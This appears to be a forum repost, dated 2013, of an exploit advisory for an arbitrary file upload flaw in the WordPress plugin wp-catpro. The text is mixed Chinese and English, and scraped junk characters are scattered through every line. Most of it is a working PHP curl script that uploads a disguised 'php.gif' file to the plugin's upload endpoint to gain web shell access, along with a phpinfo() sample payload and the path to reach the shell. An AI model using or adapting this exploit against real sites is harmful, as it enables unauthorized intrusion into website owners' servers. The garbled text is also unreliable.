Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability/ P' f H6 Y; a' v
#-----------------------------------------------------------------------" n s% A9 g! |6 h
$ D! T* f' o' E5 p$ S" M4 y
作者 => Zikou-16
! Q- W$ N, |2 u: Q邮箱 => zikou16x@gmail.com7 b% F' @; o* ~# o
测试系统 : Windows 7 , Backtrack 5r3
4 ^. s- O' P; R/ ]下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
% Q7 H* c+ o# ~####5 K( A7 z) @8 |% |
$ U" R* M1 Z( {( K' S
#=> Exploit 信息:$ A0 H% z3 I6 z) A1 z
------------------' \ c6 ^( ]6 Z
# 攻击者可以上传 file/shell.php.gif% n) z0 u$ _* j" f
# ("jpg", "gif", "png") // Allowed file extensions7 G6 A$ C* ]: U. v2 E
# "/uploads/"; // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
. b( S, x3 J/ l# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
9 f$ l0 B0 n9 G( O------------------$ j4 Y, \ t9 {, C
! g1 T w; y& Y. @
#=> Exploit; }( M, H, ]+ h p$ @0 M1 e% b
-----------
9 s0 {& J" k& h2 }7 F<?php
! H4 ~5 Y- u* W# {5 J; j! P9 c
8 J% `5 O4 z" s# e ^ @$uploadfile="zik.php.gif";
( j6 F/ j9 S1 p5 j' n$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
, t$ M% P6 J0 g( L1 o( Ccurl_setopt($ch, CURLOPT_POST, true);
7 P& \6 x" b+ J7 |. K) {curl_setopt($ch, CURLOPT_POSTFIELDS,
/ }( y% ~6 o, X& ]# l2 ]5 Zarray('Filedata'=>"@$uploadfile",, S+ Y( s+ d; p% t2 i" b
'folder'=>'/wp-content/uploads/catpro/'));9 I, ~9 H' x, J2 P' ` _
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);3 K+ O/ A+ P* S' b' U
$postResult = curl_exec($ch);
# {3 `. g6 \1 n0 C4 Hcurl_close($ch);$ O( F+ P" \ E! {
/ L# f6 s) O8 `% W- o% A! }
print "$postResult";! |( Z5 Y9 y8 Q* E3 T
5 h( n; F' N2 PShell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif1 ^ J' z* T6 k! B
?>) _! {. R3 g3 J7 E6 A' X. E
<?php
% o# d. q6 c- G9 ?6 Aphpinfo();& B6 S6 _& `% a, ^
?> |
发表于 2013-2-27 20:12:43
收藏
支持
反对